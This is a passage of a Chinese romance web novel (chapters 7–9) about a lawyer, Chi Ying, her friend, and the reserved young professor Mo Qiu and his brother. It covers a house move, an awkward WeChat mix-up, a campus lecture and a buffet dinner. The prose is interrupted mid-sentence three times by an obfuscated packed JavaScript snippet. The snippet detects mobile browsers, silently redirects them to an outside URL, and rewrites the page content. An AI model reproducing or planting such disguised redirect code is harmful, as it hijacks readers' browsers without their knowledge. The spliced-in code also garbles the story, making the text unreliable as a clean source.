……她长长地叹口气,怎能狼狈至此?
两个男人被宿管阿姨拦在门口,听见一阵不算悦耳的声音由远及近,转头看一看,原本懒散的身形明显顿了下。
迟影恨不得把脸埋在衣领里,甚至没好意思抬头看莫秋,只伸手将袋子的扎口处递给他。
交接的那刻,她原本因摩擦而火辣辣的手心被忽然一道细腻温热的触感轻轻划过,力道很轻又带着一丝试探,在生疼的痛感中显得格外温柔。
划到一半时,对方还似不经意地在她掌心停了下。
?????
她浑身一僵,立刻低头看去——莫秋骨节分明的手指正挨着她腕骨,而那白皙的指尖,正探入她手心。
她顿时感觉所有血液都涌上大脑,混乱地翻腾着,连呼吸都搅乱,一时间懵了神。
好在对方没停留太久,继续若有似无地划过,随后自然地将编织袋接去,似乎刚才只是某种错位导致的意外。
迟影屏住呼吸,直至确认他的指尖彻底离开,才暗戳戳松口气。
“破皮了。”莫秋低沉的声音从头顶传来,让她稍微松懈的神经瞬间紧绷,“副驾驶座有药膏,去擦点。”
7. 心怀不轨
“……”
迟影看着男人轻松地拖着麻袋朝后备箱走去,原地怔了半天。等回过神来,她才意识到脸颊发烫得厉害,连耳朵根都有些灼热。
在刚才那若有似无的触感冲击下,原本火辣辣的疼痛都显得麻木不少。
然而当事人却一切如常,正从容不迫地搬行李,甚至没往这边看一眼。
迟影叹口气。
她好歹也是二十好几的人了,怎么还因为一点不经意的触碰,就在这胡思乱想!
明明肇事者都如此坦然!
邓月菲没注意到她的不对劲,正叉着腰,卖力地指点江山。
“哎!学弟你放的时候小心点噢,那里面有我的机械键盘呢。”
“莫神,你注意把红色袋子放上面,别把里面的便携音响压坏了!”
“绿色袋子要轻拿轻放!护肤品都在里面呢!”
迟影靠在门框上平复心情,看着对二人指手画脚的邓月菲,翻了个白眼:“姐,做人怎么能像你这么无耻?”
邓月菲依旧大声吆喝着,眼神都不带给一个:“怎么了?本来不就是要搬家嘛!现在多了两个免费劳动力,不用白不用!”
“而且你知道最重要的是什么吗?”
迟影知道对方肯定没好话,但还是配合地抬了下眼:“?”
“是我不用叫货拉拉了!”迟影兴奋道,“我的好姐妹啊,你知道晚上的货拉拉有多贵吗?能抵两天饭钱啊!”
……迟影懒得搭理她。
“别喘了,你现在总在办公室坐着,这身子骨是真不行。”邓月菲拖着迟影往回走,“还有两个行李箱呢,咱俩赶紧的。”
“……”
窗外的繁华夜景飞速闪过,灯红酒绿,光影变幻,然而对比之下,车内却像被收了音般鸦雀无声。
迟影疲惫地靠在窗上,只想逃离这个黑色的四轮驱动载体。
除了驾驶位衣冠整齐的莫秋,他们每个人身上都抱了个大包裹,不侧头都看不见前方。
莫生身上的编织袋更是又大又沉,迟影从后面看去,甚至怀疑他会不会被压断气。
不仅如此,他原本为酒吧而精心准备的穿搭,已经松松垮垮的不成样子,白色的上衣蹭上了些油点,还散发着难闻的酒味。脖子上的耳机反倒像是实在塞不进麻袋里而不得不挂脖上的。
这波社会的毒打对阳光开朗大男孩来说,还是过于残酷了。
不过话说回来,迟影也没有想到邓月菲能这么“物尽其用”,不知道的以为是莫秋欠了她30万呢!
先是江湖救急时让人家免费当出租车,现在还利用裙带关系把人家当货拉拉。
站在莫秋的视角来看,迟影这种行为就跟过年在别人家强行借宿、连吃带拿,论关系却八杆子都打不着的亲戚一样匪夷所思。
老同学当到这个份上,也是百年不遇了。
迟影偏头看邓月菲,当事人抱着编织袋,头歪在窗上睡得正香,不知道梦到什么好吃的,吧唧了几下嘴。
迟影和邓月菲为了见面方便,特意将房子租在同一小区。
晚上十一点,车子终于停在邓月菲家楼下。迟影实在不想再麻烦莫家兄弟,一边从莫秋手里接过包裹一边道谢:“进门有电梯,我们自己拖上去就好,不麻烦你们了。”
“没关系的!”莫生在一旁搭话,“不差这一会儿。”
“时间不早了,你们赶紧回去吧。”没想到罪魁祸首邓月菲终于良心发现,使出牛劲扛起一个麻袋,身形还晃了下,“今天万分感谢,改天一定请你们吃饭。”
莫生挠挠头,见执拗不过也没再坚持。
趁着莫秋和邓月菲往单元门内扛货的间隙,莫生悄声绕到后备箱,压低声问迟影:“迟影姐,我可以加你微信吗?”
……哈?
迟影正在搬行李箱的动作一顿,有些意外地看向男生。
莫生大眼睛仍忽闪忽闪看着她,迎着她的视线挑挑眉,并没有要进一步解释的意思。
“啊……”迟影正犹豫着,忽然想起来今天晚上被糟蹋得不像样的包间。当时李其开的状态不清醒,很有可能是莫家兄弟付了清洁费和餐具损失费。
“可以可以!”想到这她连忙应下,从口袋里掏出手机,“那我扫你吧。”
“好嘞!”莫生开朗道。
见对方点开二维码,迟影走上前去,将摄像头对准屏幕。
“你们在干什么?”
如阎王般的声音在二人头上响起,低沉又冷淡,吓得迟影浑身一激灵,好悬没把手机直接丢出去。
她保持着僵硬的姿势缓缓抬眼,只见莫秋正垂眼看她。映着夜色,他纤长的睫毛投下隐秘难测的阴影,漆黑的瞳孔中似乎有说不清的东西在扩散。
不知为什么,在莫秋强大的气场下,她竟有种做坏事被抓个现行的心虚感。
“哥?”莫生也被他的动静吓一跳,但很快回过神来,一副行事坦荡的模样,“没怎么,我正问迟影姐要不要帮忙拿箱子呢。”
……???
迟影惊讶地转头看他。
他为什么撒谎?还撒了一个连傻子都能看破的谎?
莫生对上她疑惑的目光,冲她眨了下眼。
莫秋注意到两人的小动作,眸子半眯,目光落在迟影身上,颇有些隐晦不明的意味。
这下迟影更心虚了。
但事已至此,她只好在莫秋的视线下硬着头皮点了点头:“对,不过不用麻烦了,谢谢学弟。那个……我先走了!”
她拉着行李箱迅速转身,准备落荒而逃,忽然发现箱子被往反方向扯着,几乎纹丝不动。
一回头,莫秋正按着把手。
?
迟影不解地抬眼看他。
莫秋修长的手指间夹着一个小纸盒,抬手递来:“记得上药。”
迟影:“……”
终于和邓月菲一起把包裹拖上楼放好,迟影长出口气,仰面躺在沙发上休息。
缓过劲来后,她打开手机,屏幕果然还停在刚才扫完码跳出来的页面。
她输入“我是迟影”,发送好友请求。
对方很快通过申请。
“今天十分感谢。如果你们垫了钱,麻烦告诉我一声,我转给你……”
迟影字还没打完,对话框里忽然接连跳出几条新消息,让她呼吸骤停。
“你想加他微信,我可以转你。”
“不必这么”
“偷偷摸摸。”
???
迟影猛地甩开手机,脑子一片空白,耳旁仿佛一群复读鸭在疯叫“完了完了完了”。
邓月菲闻声从卫生间探头看她:“你怎么了?”
迟影崩溃地闭了闭眼。
“没事。”她埋进沙发里,感觉发烫的脸颊能把布料烧个洞,“手机烫手。”
……
第二天醒来时,迟影恍惚间以为昨天打了套军体拳,浑身上下的骨头都在打架。
她随意抓起手机,看到几条未读消息。
莫生:“迟影姐,对不起!!”
“昨天你加我的时候,我还在我哥车上。”
“那时他正跟我爸妈打电话呢,就不小心看到你的好友申请了。”
“你别生气啊。”
“……”迟影默默看着屏幕,一下子清醒不少。
其实站在莫秋的立场上,一个欠自己30万的“老同学”,心怀不轨地偷偷加弟弟微信,而且这个“老同学”还比弟弟大三四岁。
怎么都不可能不担心。
换做是迟影,估计都没这么客气。
她叹口气,接着往下看。
“迟影姐,我加你其实是想问你”
“你能不能把邓月菲学姐的微信推给我呀?”
“昨天想加她来着,但当时她心情不好,我害怕她冲我尥蹶子。”
尥蹶子?
哦对,昨天邓月菲好像是冲着李其开飞踢来着。
想到这迟影噗嗤一笑。当时那画面可称不上好看,而且昨天邓月菲也没少折磨这阳光开朗大男孩。
莫生这人,不会有什么奇怪的癖好吧?
迟影把莫生的微信推给邓月菲,对面果然甩来一个“?”
“昨天可能有清洁费和赔偿,不知道是不是他们垫的钱,你加下问问吧。”
想了想,迟影又接一句:“你不会想让我帮你付吧?”
对面很快回复:“我是那种人吗?”
“已经发送申请了。”
迟影挑挑眉,挂起老母亲般的微笑。
她正沉浸在粉红泡泡中,嘿嘿直乐,结果一低头看到条新消息。
老板:“有个紧急需求你处理下吧。邮件上转给你了,今天答复。”
“……”
迟影迅速收起笑容——幸福是别人的,负债30万的打工人不配拥有幸福!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059556|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周四下午,迟影终于结束一场与甲方厮杀的会议。对方最终以“我们虽然给不了多少钱,但你们应该以最优质的资源、最高级别的响应速度,以及最认真的态度来做我们的项目”这一结论,结束了整场会议。
看到迟影点击“退出会议”,一边的实习生犹豫着凑上来问:“迟律师,我们律所是不是很赚钱呀?”
“嗯?”迟影转头看她,“何出此言?”
实习生挠挠头:“感觉每天都在做慈善。”
“……”迟影无奈一笑,“仔细来说,还是不一样的。”
“做慈善还能留个好名声,我们可不一定。”
回到工位,迟影打开电脑准备跟老板汇报下今天的会议情况,忽然看到微信上置顶的新消息。
邓月菲:“周五晚上时间留一下。”
迟影扫眼待办事项,周五晚上倒是不用加班。
“你最好有重要的事,不然我想回家打游戏。”
邓月菲:“白眼狼。”
迟影:“?”
邓月菲:“咱俩之前承诺请魔头他们吃饭以示感谢的,你不会单纯就是客气一下吧?”
迟影当时,确实就是单纯的,客气一下。倒不是钱的问题,主要她觉得,每次遇到莫秋就没什么好事。
他有点克她。
但既然邓月菲主动提起这事,她也没办法装死:“是你承诺的,而且事情本身也是你惹的,你请。”
邓月菲:“……”
邓月菲:“你怎么这么抠!”
迟影冷笑一声:“你为了货拉拉200块钱而出卖我尊严的时候不抠?”
对方沉默了,过了好一会,才继续发来消息。
“好嘛……我请。那你来不来嘛?”
迟影利落地答复:“来。”
邓月菲:“OK。周五下午六点半,学校5教门口集合。”
迟影:“?”
她有些匪夷所思:“你不会就请人家吃学校食堂吧?”
邓月菲发来一个翻白眼的表情。
“不至于!主要是魔头有堂课要7点才能结束,我们一起在那里等他。”
有堂课?
迟影愣了下。
他不是在美国M大读博吗?而且应该跟邓月菲一样,正好今年毕业。
她思索无果,皱着眉头敲字:“魔头又回A大读书了吗?”
邓月菲:[震惊.jpg]
“姐?你清醒一点?人家是在A大教书!”
?
啊?
迟影这才反应过来,上次莫秋出现在宿舍楼前,不仅仅是因为他要接莫生,还因为他就在学校工作。
不是……他不是跟自己还有邓月菲同级吗?
手机滑落,迟影一瞬间仿佛失去所有力气。
人生的参差不过如此——人家已经身处罗马,而她还在当牛做马。
A大里人山人海,迟影才意识到,今天是周五。
作为全国顶尖学府,A大每周五到周日会向社会开放校园观光的预约通道,供校外人士进校参观。所以通常从周五开始,校园里面就会出现各种鲜活的场面。
有家长们带着孩子来打卡祈愿的,有其他学校学生们约着逛美术馆的,还有上了年龄的爷爷奶奶与A大学生们一起夜跑马拉松的。
迟影最喜欢这个时候的A大,像是和平年代繁华盛世的微缩景观。
外面热闹非凡,5教的教学楼内却依然安静肃穆。
迟影跟着邓月菲来到二楼教室,一眼看到最后一排正在打哈欠的莫生。他今天的穿搭明显也精心设计过,浅蓝色短袖T恤配上直筒长裤,清爽干净。
她在邓月菲身边坐下,一瞬间还有点不适应自己“学生”的身份。
前排的学生们满满当当,认真地听着台上之人讲课。从讲课的内容来看,莫秋大学之后主修的应该还是生物学。
淡青色衬衫搭配深灰色西裤,衬得男人肩宽腿长。即使相隔很远,他英气俊朗的五官也清晰夺目,视线淡淡扫来时,总让人不自觉静了呼吸。
他的板书很好看,字体规整又苍劲有力,清冷的声线没有什么起伏,但冰凉的质感丝毫不会让人想打瞌睡。
迟影托着下巴感叹,上帝在设计他的时候,主打一个南北通透,一扇窗也不关啊。
正当她看得出神时,莫秋视线不偏不倚与她对上,眸正神清,目光坦荡,就像在肯定认真听讲的学生。
8. 告白
迟影一愣,下意识以为他要点她回答问题。
也不知道是他身为老师的威严,还是那深邃幽然的目光,让迟影紧张得咽了下口水。
好在对方很快移开视线,继续转过去板书。
迟影僵直的脊背这才放松下来。
这么想来,高中的时候,她也偶然听他讲过一次题目。
那时迟影的化学成绩一直很差。明明基础知识很扎实,但不论她怎么补习,成绩都提不上去。
连化学老师都觉得奇怪。
某次化学课结束后,迟影拿着卷子追上老师,问其中一个题目为什么不能选C。
老师很无奈:“明显B是正确的。”
“但这是可多选的题目。B是对的不代表C是错的。”
“那你告诉我,课本上哪个地方告诉你,这两种离子会发生沉淀反应?”
“课本上没有说,但是我之前做过的一个题目中,题干提到过。”
“课本上没说,那就是错的!”老师有点不耐烦,声音大了许多,引得走廊上许多人好奇看过来,“其他卷子上的内容,你又如何保证是对的呢?考试的时候肯定是以课本和我讲的内容为准。不要自以为是地发散!”
迟影怔在原地。
看着老师离开的背影,她不甘地抿抿唇。这个问题不解决,她心里就像压着块石头。
她突然想起,上次提到这两种离子会发生沉淀反应的试卷,顾一书也做过,当时他们还一起讨论了那道题目。
她立刻找到顾一书,问他是否还记得那道题目。
“好像是有点印象……”顾一书认真回忆,“但说实话刷过的题太多,我也记不清了。”
“这样吧,我去问问隔壁莫秋。”眼看迟影失落,顾一书提议道,“我跟他一个初中的,关系不错。”
魔头啊?
迟影有些犹豫,自己不仅跟他不熟,还因为古诗文资料集的事情阴阳过他。
果然做人还是要低调,风水轮流转,现在轮到自己难堪。
顾一书见迟影踌躇不决,以为她不好意思:“没事,我去问,你在门口等着。”
那时大家都忙着下楼做操,1班里只有零星的几个人。顾一书拿着卷子从后门走进1班,对正在做值日生的莫秋叫:“莫哥,请教你个题目呗。”
莫秋闻言转身,清冷的视线向后门扫来。
那一瞬间,迟影隐约感觉莫秋瞟到了正站在后门的自己,但他的目光迅速滑过,最后定格在顾一书的身上。
“嘿嘿,莫哥,打扰你擦黑板了。江湖救急,帮兄弟看个化学题目呗!”
莫秋不置可否,只是抬了抬眼,漫不经心地问:“是你问题目吗?”
顾一书觉得好笑,抬手指指自己的鼻子:“我就站在你面前,不是我还能是谁?”
莫秋慢悠悠挽起袖子,嘴角极浅地勾了下。
“说吧。”
顾一书连忙把卷子递过去:“就这个第九题,应该选什么?”
莫秋颀长的身子轻倚在讲台上,垂眸扫了眼题目。
“你的话,B吧。”
“?”顾一书一愣,没明白对方的回答怎么还主体前置,于是下意识追了句,“那如果是你呢?”
莫秋懒洋洋答:“B和C。”
“……”这下顾一书更是疑惑,“为什么?咱俩有啥不一样?”
莫秋语调平平:“你笨。”
?
“嘿!”顾一书撸起袖子,仰头叉腰对面前之人叫道,“讲题就讲题!别人身攻击!”
莫秋挑挑眉,无所谓地放下试卷。
“哎哥!哥!”顾一书见状立刻伏低做小,双手合十做苍蝇搓手状,“我错了!麻烦您看在咱俩青梅竹马的份上,说说原因呗。”
“……”莫秋没理他的疯言疯语,徐徐解释道,“C选项中两种离子的溶度积常数很小,需要较高的离子浓度才能形成沉淀,但不是不可能。”
莫秋拿出粉笔在黑板上计算:“对于AB2来说,它的溶度积常数(Ksp)为1.8乘以10的-11次方。假设溶液中A离子的浓度是x,则B离子的浓度为2x,带入Ksp值可以得到x(2x)的平方等于1.8乘以10的-11次方。解方程得到x约定于1.66乘以10的-4次方。”
“所以,当A离子和B离子的浓度分别达到1.66乘以10的-4次方、3.32乘以10的-4次方时,它们会发生沉淀反应。”
“只不过,AB2的Ksp不是高中课本的知识。”
“噢!”顾一书恍然大悟般点点头。
莫秋拍了拍胳膊蹭到的粉笔灰,声音略微提高,语调也从容地拉长。
“所以呢,笨人选B,聪明的人,选B和C。”
迟影站在后门处,靠墙望天。
听见莫秋的话,她眉眼缓慢舒展开来,心里囤积的那团雾也将将散去,只觉得雨过天晴,漫山花开。
“小影!小影!”
听到身边的声音,迟影才慢慢从回忆中回过神来,一抬眼发现教室里人都走的差不多了,邓月菲和莫生正站在旁边看她。
已经下课了吗?
迟影拿起包包,看向正在讲台上耐心解答学生问题的莫秋,男人眉眼深邃,看试卷的样子专注认真。
其实仔细想想,好像不是他克自己,而是自己克他。
自从跟她重逢,他先是被砸了车,然后又被拉去当免费劳动力,弟弟也被“不怀好意”的女人盯上了。
该道歉的,好像应该是自己。
……
但不论如何,迟影都不能理解,邓月菲请他们吃自助餐的行为。
哪有人请客请的是自助餐啊?
而且只要一百二一位。
邓月菲招呼着大家去拿菜,低声跟迟影解释:“不是,那万一他们很能吃呢?两个一米八几的男人谁能养活?而且你看莫生那脉状如牛的样子,饭量一定不小。”
迟影长叹口气,一句话都不想说。
邓月菲继续念叨:“我刚开始上班,第一个月的钱都还没发下来呢,通融一下嘛。”
迟影揉揉眉心:“那为什么主动提请客的事?”
“可不是我想提的。”邓月菲边拿虾边叹气,“莫生那小子没心没肺的。我那天问他有没有帮忙垫付清洁费,他说都是小钱,不用还。”
迟影夹了个蛋挞:“这不是挺义气的嘛?”
“然后周四中午我就看到他发朋友圈,让大家帮他点赞,说是江湖救急,快饿趴了,凑够一百个赞可以免费吃一顿火锅。”
“……”
“这让我想起刚上博士的时候,我参与的项目不多,所以每个月能拿到的钱也不多,也就刚够生活费而已。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059557|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说到这邓月菲不禁感慨:“所以啊,我就觉得自己多少有那么一点过分。让人家垫钱,结果人家饭都吃不起了。”
迟影无语地拍拍她:“那我还挺幸运,能见到你这为数不多的良心。”
邓月菲叹着气去排队取小青龙。
见她走远,迟影掏出手机点开莫生的朋友圈。
她清楚地记得,昨天中午吃饭的时候她刷过朋友圈,没看到刚才邓月菲说的内容。
果然,他上条朋友圈还是半年前转发的一篇计算机顶会学术文章。
她轻笑一声。
这小子,有点东西啊?
“喜欢这篇文章?”
莫秋不紧不慢的声音在身边响起,突兀地撞进她耳朵。
迟影端着盘子的手一抖,笑容来不及收回直接僵在脸上,眼珠硬生生盯着手机屏幕愣是没敢往旁边看。
她只想立刻发帖——SOS!公共场合偷看青春男大朋友圈,边看边笑,结果被人家哥哥抓个现行是什么体验?
然而逃避没用,她只能低着头快速思考应对方案。
如果她回答对文章没兴趣,那说明就是对发朋友圈的人感兴趣。
不行!
莫秋恐怕会把她碎尸万段!
于是她只能淡定点点头,抬眼迎上男人意味深长的视线:“对,我前段时间刚拜读过这篇文章,所以发现莫生也喜欢时有点激动。”
莫秋听完她的回答挑了下眉,半天没说话,深邃的目光却一直看着她。
迟影被他看得有些发慌,喃喃道:“怎么……”
“还有其他喜欢的文章吗?”莫秋问。
完蛋!
对方这是要跟她讨论学术问题,但她很久没关注过计算机的文章!
情急之下,迟影扯了个不会出错的回答:“这个作者的文章都不错。”
莫秋换了个姿势,靠在一旁的墙上:“一作?”
“啊,对。”迟影点点头,面不改色接着道,“你别看我现在是律师,其实我大学学的是软件工程,时不时也会看看计算机领域的文章,所以关注一作很久了。”
她又怕可信度不够,补了句:“每逢期末考,我都会对着他的文章拜拜。”
莫秋听见这话愣了下,漆黑的瞳孔里慢慢晕开一丝情绪。他若有所思地“啊”了声,接着就那么靠在墙上沉默了。
迟影见他终于不再纠结,赶紧见缝插针地指指前面的队伍:“我先去排队了,一会见。”
“嗯。”
她随便找了个队伍,也不知道大家是在等什么,就那么佯装镇定地排在后面。
余光里莫秋已经离开,她才重新掏出手机,想着赶紧从莫生朋友圈退出去。
屏幕上还是刚才的页面。
她正准备上划退出,忽然意识到是不是应该看一眼论文题目和作者?万一莫秋再提起这话题,她不能露馅。
于是她点开链接。
文章题目看得似懂非懂,她也没细究。
至于作者……
一作的位置上赫然写着——
QiuMo。
???
!!!
迟影瞪圆了眼睛,死死盯住屏幕,手心冒出一层细密的冷汗,头皮像是万蚁爬过,混沌发麻。
苍天啊!!
她刚才是当着作者本人的面,告白了吗!!
9. 长情
迟影腿一软,身形晃了下。
简直后悔不已,捶胸顿足,痛心疾首,欲哭无泪!
等她顶着那张惨白的脸回到座位上时,另外三个人已经落座,聊得热火朝天。
“学弟,我跟你说,学计算机的精髓就在于放弃。听我的,只要出现bug,立刻暂停,去做什么娱乐活动都可以。然后半小时后再回来,保准一眼就能瞅出来问题!如果不行,多来几次。”
“明白了!”莫生不断点头,眼睛闪着钦佩的光芒。
“哎你怎么才回来,我都吃完一轮了。”邓月菲聊得正欢,转头看见一脸煞白的迟影,吓了一跳,赶紧探身摸摸她额头,“怎么脸色这么差,发烧了吗?”
迟影勉强笑了下:“没有。”
她甚至不敢抬眼看对面坐着的男人,低着头摆好饭菜,尽可能把自己的存在感降到最低。
莫秋也没说话。两人就像吃饭的人机,机械地重复着咀嚼和喝水的动作,跟一旁热烈的谈笑声形成鲜明对比。
邓月菲聊了好一会儿,才意识到旁边俩人诡异的沉默。她挠挠头,转头问莫秋:“魔……呃莫神,之前就听莫生说你在A大教书,今天算是开眼界了。你什么时候博士毕业的呀?”
莫秋不紧不慢地夹了个莴笋:“刚刚。”
“……嗯?”
见邓月菲迷惑的样子,莫生忍不住接话:“他其实去年底就能毕业,但为了帮导师收尾一个重要项目,特意延期了半年,所以这个月才正式办完手续。”
他说得有些急,不小心被一块滚烫的牛排呛到,咳了几声才继续:“毕业前好多高校和公司抢他,不过他之前一直在犹豫是留美国还是回来。也不知道为什么,今年五六月吧,他突然就决定回A大教书了。”
莫生喝了口水又补充道:“帮你们搬家那天他刚回国,这周初才正式入职。”
迟影这才抬眼看了看莫秋。原来他那两个月失踪,是回美国办理毕业手续了。
“啊……”邓月菲听明白后简直目瞪口呆,“刚上岗就直接给了副教授的头衔?”
“嗯。”莫秋点头。
迟影握着筷子的指尖颤了下。
副教授……???
正常流程不都是先从讲师做起,再经过层层考核慢慢晋升吗?
想到这,她连吃饭的力气都没有了。
“噢说到这个!”邓月菲放下筷子,忽然来了劲,对莫秋道,“刚在警局见你时就觉得名字很耳熟,后来听莫生提起M大时我才对上号。”
“你就是那位鼎鼎有名的计算生物学大佬啊!之前还在计算机顶会上发过不少文章!”
邓月菲说到激动处,用胳膊肘戳了戳迟影:“咱们大学时拜读过的几篇论文,不都是莫神写的嘛?你还记得吗?”
迟影身子一僵,手没拿稳,筷子差点滑到地上。
“哦不对,你从大三开始辅修法律了,后面没怎么碰科研。”她说到一半自己反应过来,“你不知道正常!”
迟影紧紧抿住嘴唇,头几乎要埋到碗里,只想把眼前的蛋挞塞进她嘴里,求她别说了!
一直安静用餐的莫秋却在此时忽然抬起了眼。他目光平静地望向邓月菲,顺着她的话自然接了下去:“她不知道?”
“嗯,是啊。”邓月菲点点头,“她后来心思全放法律专业上了,没跟我一起搞科研。”
莫秋放下筷子,漫不经心地靠在椅背上,看着对面装鸵鸟的女人,语气听似随意:“是吗?”
“……”
迟影总算体会到什么叫“一句谎言要用一百句谎言来圆”。
她抬手把脸侧的碎发别在耳后,故作平静地对邓月菲道:“我知道他,读过他几篇论文。”
邓月菲一愣:“噢?是吗?怎么没听你提起过?”
迟影强压住心头的那股慌张,镇定自若地端起杯子喝水:“只是浅读,算不上研究。”
本以为话题能这么糊弄过去,没想到一旁静观的莫秋却微微挑眉,似乎对这个话题生出几分兴趣:“从什么时候开始的?”
迟影头皮又是一紧,感觉快要编不下去了,只想赶紧结束这个对话,于是随便扯了个时间:“大二吧?记不太清了。”
“啊。”莫秋懒洋洋地点点头,手指有一下没一下地轻扣着桌面,不紧不慢,看得迟影心脏直抽抽。
“也就是……”他语速放得很慢,拖腔带调,还故意停顿了下,“我发第一篇论文的时候。”
???
迟影哽在原地,只觉得脸上“轰”一下烧起来,连头发丝都发烫。
那一瞬间,她甚至萌生出“要不一头撞死,一了百了”的念头。
莫秋仿佛没察觉到对面女生的窘迫。他嘴角一弯,嗓音里夹杂了几分说不清道不明的意味。
“没想到你是养成系。”
“还挺长情。”
“……”
得。
彻底圆不回去了。
迟影硬着头皮往嘴里塞了个甜虾,咀嚼得相当潦草,声音也含糊不清:“还行,毕竟我很上进,大佬的文都会看看。属于……广撒网吧。”
莫秋轻扣桌面的手指停住,意味深长地挑了下眉。
“你不用有压力。”迟影咽下嘴里的食物,平静抬眼,“我现在退圈了,关注也会少很多。”
邓月菲敏锐地嗅到话题里那点不寻常的意味,立刻笑着打圆场:“对对对,小影现在只关注动漫和游戏,三次元恐怕就剩工作了。”
“嗯?”莫生惊讶地看过来,“迟影姐是资深二次元吗?”
“好像也不算。”邓月菲想了想,“最近几年才这样吧?”
“哎说起这个。”她转头看迟影,“还真是哎!我刚认识你那段时间,你完全不接触这些的。”
迟影垂着头沉默片刻,拇指和食指轻轻搓几下,才抬眼看她笑了笑:“年龄大了,喜好也会变嘛。”
“那确实!”邓月菲嘿嘿笑了声,“就像几年前我还喜欢熟男,现在反倒对小鲜肉感兴趣。”
“……”
迟影不动声色地扫了眼斜对面的“小鲜肉”,男生闻言愣了下,随后眼睛一弯,嘴角按捺不住翘起来。
嘿!GoodMatch!
迟影抿着嘴,努力压下姨母笑,美滋滋地吃了个蟹腿。她正为这粉红泡泡高兴呢,一抬眼对上莫秋深邃的目光,脸上的笑容一僵,立刻清零。
啧。
大意了!
小鲜肉的家长还在对面坐着呢!
迟影低下头撇撇嘴。
莫秋这年龄不大,管弟弟还挺宽,简直寸步不离,估计莫生他爸都没他上心。
桌上的气氛重新活跃起来,几个人说说笑笑,有一搭没一搭聊着。迟影吃饱后就靠在一旁,听旁边俩人谈天论地。
忽然,不远处传来一道男声:“迟影?”
众人抬头,看到一位四十多岁的男人向这边走来。
男人头发几乎秃了,用为数不多的几根头发盖住头顶,鼻子上驾着笨重的黑色眼镜。腹部的啤酒肚也有些突出,随着他的步伐微微打颤。
看到他的一瞬间,迟影眼神迅速冷下来。
邓月菲笑容一滞,快速瞟了迟影一眼,率先站起来打招呼:“赵老师,好久不见。”
赵力似乎听到声音才看见邓月菲。他走到桌旁站定,眼睛似笑非笑地半眯着:“哟,邓月菲啊,你还跟迟影在一起呢?”
邓月菲勉强笑了笑:“是,我们关系一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059558|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直很好。”
赵力嗯了声,转头看迟影,像是开玩笑又意味不明:“怎么,才几年不见就不认识我了?招呼都不打了?”
此话一出,气氛瞬间冷下来,连没明白发生了什么的两个男人都意识到不对劲。
迟影并不意外,面无表情地站起来,声音还算平静:“赵老师。”
赵力笑着,声音比刚才更大:“哎你这样子,这么多年……”
“赵总。”
赵力话才说到一半,被一道低沉的声音突然打断。他顺着声音看去,这才注意到迟影和邓月菲对面还坐了两人。
其中一位相当眼熟,此刻正抬眼看着他,审视的目光漠然又冰冷。
“莫老师?”
待看清说话之人后,赵力吃一惊。
莫秋怎么会在这里?
见对面没说话,赵力抬手指了指迟影:“你们认识?”
莫秋这才开口:“嗯,我朋友。”
朋友?
迟影愣了下。
她和莫秋吗?
赵力对莫秋的回答颇为意外。他这段时间没少听说莫秋的事,虽然对方很年轻且刚入职,但早已在学术界名声鼎鼎。
不少人都在传这是A大好不容易挖回来的人才,对他多少敬畏三分。除高校外,很多公司也向他抛出橄榄枝,想聘他做技术顾问,或者进行研发合作。
可以说是计算生物学领域目前最炙手可热的人物。
赵力虽不以为然,但也不至于傻到直接跟他发生正面冲突。
“啊,这样。”赵力皮审时度势,笑肉不笑地扯唇,“那你们先吃,我还有事,先走一步。”
他浑浊的目光扫过迟影,对莫秋摆摆手:“莫老师,下次见。”
待赵力离开,邓月菲赶忙拍拍迟影的肩,安慰道:“这么多年他还这副死样子。你别在意,今天只是碰巧遇上,以后肯定没交集。”
迟影沉默地点点头。
莫生看着她的脸色还是不太放心:“迟影姐,你还好吗?”
迟影平复好心情,浅笑了下:“没事。”
“你们怎么认识?”一直没说话的莫秋突然问道。
迟影没想到莫秋会关心这事,也不想多说,于是言简意赅地概括:“我大四参与过他公司的项目。”
莫秋手指转了转杯子:“你得罪过他?”
“……”
迟影哽了下,一时不知该怎么回答。
“也不算吧。”不知道是不是莫秋的问题过于直接,迟影竟感到一丝压力,“可能只是对我不太满意。”
邓月菲看她一眼,轻轻握住她的手。
迟影给她一个“放心”的眼神,又抬眼问莫秋:“你怎么认识他?”
莫秋语调平平:“学校一些同事跟他有科研合作,入职时打过招呼。”
“啊?”邓月菲听到这一惊,眼睛瞪得溜圆,“他现在升咖了吗?之前主要跟J大合作,现在竟然能够着A大了?”
莫秋不置可否:“听说合作两三年了。”
邓月菲皱着眉跟迟影对视一眼,继续问:“还是做计算机相关的研究吗?”
“不止。”莫秋撩起眼皮,“还有计算生物学。”
莫生惊讶地挑眉:“那不是跟你的研究方向一样?”
